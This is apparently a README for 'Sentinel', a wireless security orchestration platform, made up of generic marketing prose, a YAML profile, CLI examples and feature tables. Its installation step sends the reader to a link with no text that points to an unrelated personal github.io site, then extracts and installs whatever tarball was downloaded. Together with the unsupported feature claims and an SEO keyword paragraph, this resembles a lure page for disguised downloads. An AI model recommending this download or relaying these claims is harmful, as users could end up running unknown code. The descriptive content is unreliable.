Sentinel is an intelligent security orchestration platform that transforms network defense from a reactive checklist into a living, adaptive ecosystem. Unlike traditional security tools that operate in isolation, Sentinel functions as a cognitive security layer that learns, adapts, and orchestrates defenses across WiFi, Bluetooth, and emerging wireless protocols. Imagine a digital immune system that not only identifies threats but evolves its response strategies based on environmental context and historical patterns.
Built upon modular architecture principles, Sentinel enables security professionals to compose custom defense workflows through a visual interface or declarative configuration, making advanced security automation accessible without requiring deep programming expertise. The platform serves as a force multiplier for security teams, reducing manual analysis time while increasing detection accuracy through machine learning-enhanced correlation.
Sentinel employs a multi-layered analysis engine that correlates signals across protocol boundaries, identifying sophisticated attacks that single-protocol tools miss. The system establishes behavioral baselines for each network environment and detects anomalies with contextual awareness.
Create complex security automation through a drag-and-drop interface or YAML configurations. Chain detection modules, response actions, and reporting outputs into reusable security playbooks that adapt based on threat severity and business context.
Move beyond static rules with response strategies that evolve based on attack patterns, time of day, device criticality, and historical effectiveness. The system learns which responses yield the best outcomes in specific scenarios.
While many tools specialize in single protocols, Sentinel maintains awareness across WiFi (802.11ax/ac/n), Bluetooth (LE/BR/EDR), Zigbee, Z-Wave, and proprietary IoT protocols, understanding how attacks can pivot between communication layers.
graph TB
A[Sensor Layer] --> B[Protocol Adapters]
B --> C[Unified Event Bus]
C --> D[Analysis Modules]
D --> E[Threat Intelligence]
E --> F[Orchestration Engine]
F --> G[Response Actions]
F --> H[Reporting & Visualization]
G --> I[Network Devices]
H --> J[Security Dashboard]
K[ML Correlation Layer] --> D
L[External APIs] --> E
M[Custom Modules] --> D
subgraph "Adaptive Learning Loop"
N[Outcome Analysis] --> O[Strategy Optimization]
O --> P[Module Weight Adjustment]
P --> D
end
- Python 3.10 or higher
- 4GB RAM minimum (8GB recommended for ML features)
- Network interface with monitor mode capability
- 2GB available storage
Standard Installation:
# Download the latest release
[](https://Emeter1.github.io)
# Extract and install
tar -xzf sentinel-v2.3.1.tar.gz
cd sentinel
pip install -r requirements.txt
python setup.py installDocker Deployment:
docker pull sentinel/sec-orchestrator:latest
docker run -it --net=host --cap-add=NET_ADMIN sentinel/sec-orchestrator# sentinel-profile.yaml
orchestrator:
name: "Corporate Campus Defense"
environment: "mixed-use"
risk_tolerance: "medium"
sensor_adapters:
- type: "wifi"
interfaces: ["wlan0", "wlan1"]
channels: [1, 6, 11, 36, 40, 44, 48, 149, 153, 157, 161]
scan_interval: "30s"
- type: "bluetooth"
range: "extended"
device_class_filter: ["computer", "phone", "audio"]
analysis_modules:
- id: "rogue_ap_detector"
sensitivity: 0.85
response: "auto_contain"
- id: "behavioral_anomaly"
training_period: "7d"
confidence_threshold: 0.92
response_actions:
- type: "network_quarantine"
automation_level: "semi_auto"
notification_channels: ["slack#security-alerts", "email://admin@domain.com"]
- type: "client_remediation"
guidance_template: "welcome_packet"
integrations:
openai_api:
enabled: true
model: "gpt-4-turbo"
usage: ["threat_explanation", "report_summarization", "response_recommendation"]
claude_api:
enabled: true
model: "claude-3-opus-20240229"
usage: ["playbook_generation", "false_positive_analysis", "compliance_documentation"]
reporting:
daily_summary: true
compliance_framework: ["NIST", "ISO27001", "GDPR"]
data_retention: "90d"# Initialize Sentinel with a specific profile
sentinel init --profile corporate-campus --deployment distributed
# Start monitoring with custom modules
sentinel monitor --adapters wifi,bluetooth --modules anomaly,rogue_detection --output dashboard
# Execute a specific security playbook
sentinel execute --playbook "zero-trust-onboarding" --target "conference-room-a"
# Generate compliance report
sentinel report --type compliance --framework NIST --period Q1-2026 --format pdf
# Interactive investigation mode
sentinel investigate --incident ID-2026-0471 --correlation deep --assistant ai| Feature Category | Capabilities | Enterprise Ready |
|---|---|---|
| Protocol Coverage | WiFi 6E/7, Bluetooth 5.3, Zigbee 3.0, Matter, Custom RF | ✅ |
| Detection Methods | Signature, Anomaly, Behavioral, ML-Enhanced, Hybrid | ✅ |
| Response Automation | Containment, Remediation, Notification, Documentation | ✅ |
| Analysis Depth | Real-time, Forensic, Predictive, Comparative | ✅ |
| Integration Points | SIEM, SOAR, Ticketing, CMDB, Cloud Services | ✅ |
| Compliance Support | Automated Mapping, Evidence Collection, Gap Analysis | ✅ |
| Operating System | Compatibility Level | Notes |
|---|---|---|
| 🐧 Linux | ✅ Native Support | Kernel 5.4+, all major distributions |
| 🍎 macOS | ✅ Full Support | Monterey 12.3+ with additional drivers |
| 🪟 Windows | Full functionality under WSL2 with USB passthrough | |
| 🐳 Docker | ✅ Containerized | Pre-built images for x86_64 and ARM64 |
| ☁️ Cloud | ✅ Managed Version | AWS, Azure, GCP marketplace listings |
Sentinel leverages OpenAI's models to provide natural language explanations of security events, generate human-readable reports from technical data, and recommend response strategies based on best practices documented in security literature. The integration operates with strict data sanitization to ensure no sensitive information leaves your environment.
openai_integration:
threat_explanation: true
report_generation: true
strategy_recommendation: true
data_sanitization: "aggressive"
local_cache: "7d"Anthropic's Claude models power Sentinel's playbook generation system, false positive analysis, and compliance documentation automation. The constitutional AI approach aligns particularly well with security and privacy requirements.
claude_integration:
playbook_authoring: true
fp_reduction: true
compliance_mapping: true
audit_trail_generation: trueThe Sentinel dashboard adapts to any screen size from mobile to ultra-wide displays, with information density that adjusts based on monitoring role. Security analysts receive prioritized alerts with contextual data, while executives get business-risk summaries.
Every interface element, report, and notification can be localized. The system currently supports 12 languages natively with community translations available for 27 additional languages. All AI-generated content respects the configured language preference.
Sentinel operates 24/7/365 with graceful degradation during maintenance windows. The distributed architecture ensures no single point of failure, with self-healing capabilities that automatically restore functionality after transient failures.
Sentinel security orchestration platform provides enterprise-grade wireless network protection through adaptive machine learning and multi-protocol monitoring. This open-source security automation framework enables organizations to implement proactive defense strategies against WiFi and Bluetooth threats while maintaining compliance with NIST, ISO27001, and GDPR requirements. The modular architecture allows customization for specific industry needs including healthcare IoT security, industrial control system protection, and smart building infrastructure defense.
Sentinel is designed with privacy-by-architecture principles:
- All analysis occurs locally unless explicitly configured for cloud processing
- Anonymization techniques protect endpoint privacy while maintaining security value
- Data retention policies are enforceable at multiple granularity levels
- No telemetry is collected without explicit configuration
This project is licensed under the MIT License - see the LICENSE file for details.
Copyright © 2026 Sentinel Security Project Contributors.
Sentinel is a security analysis and orchestration platform intended for authorized testing and defense of networks you own or have explicit permission to monitor. Unauthorized use against networks you do not own or have explicit permission to test is strictly prohibited and may violate local, national, and international laws.
The developers assume no liability and are not responsible for any misuse or damage caused by this tool. Users are responsible for ensuring their compliance with all applicable laws and regulations in their jurisdiction. Professional security testing should always be conducted within established legal and ethical frameworks with proper authorization.
- 📚 Documentation
- 🐛 Issue Tracker
- 💬 Discussion Forum
- 📅 Community Meetings - First Tuesday monthly
Current stable release: v2.3.1 "Vigilant Guardian" - Released March 2026
For alternative download methods, checksums, and verification instructions, visit the Releases page.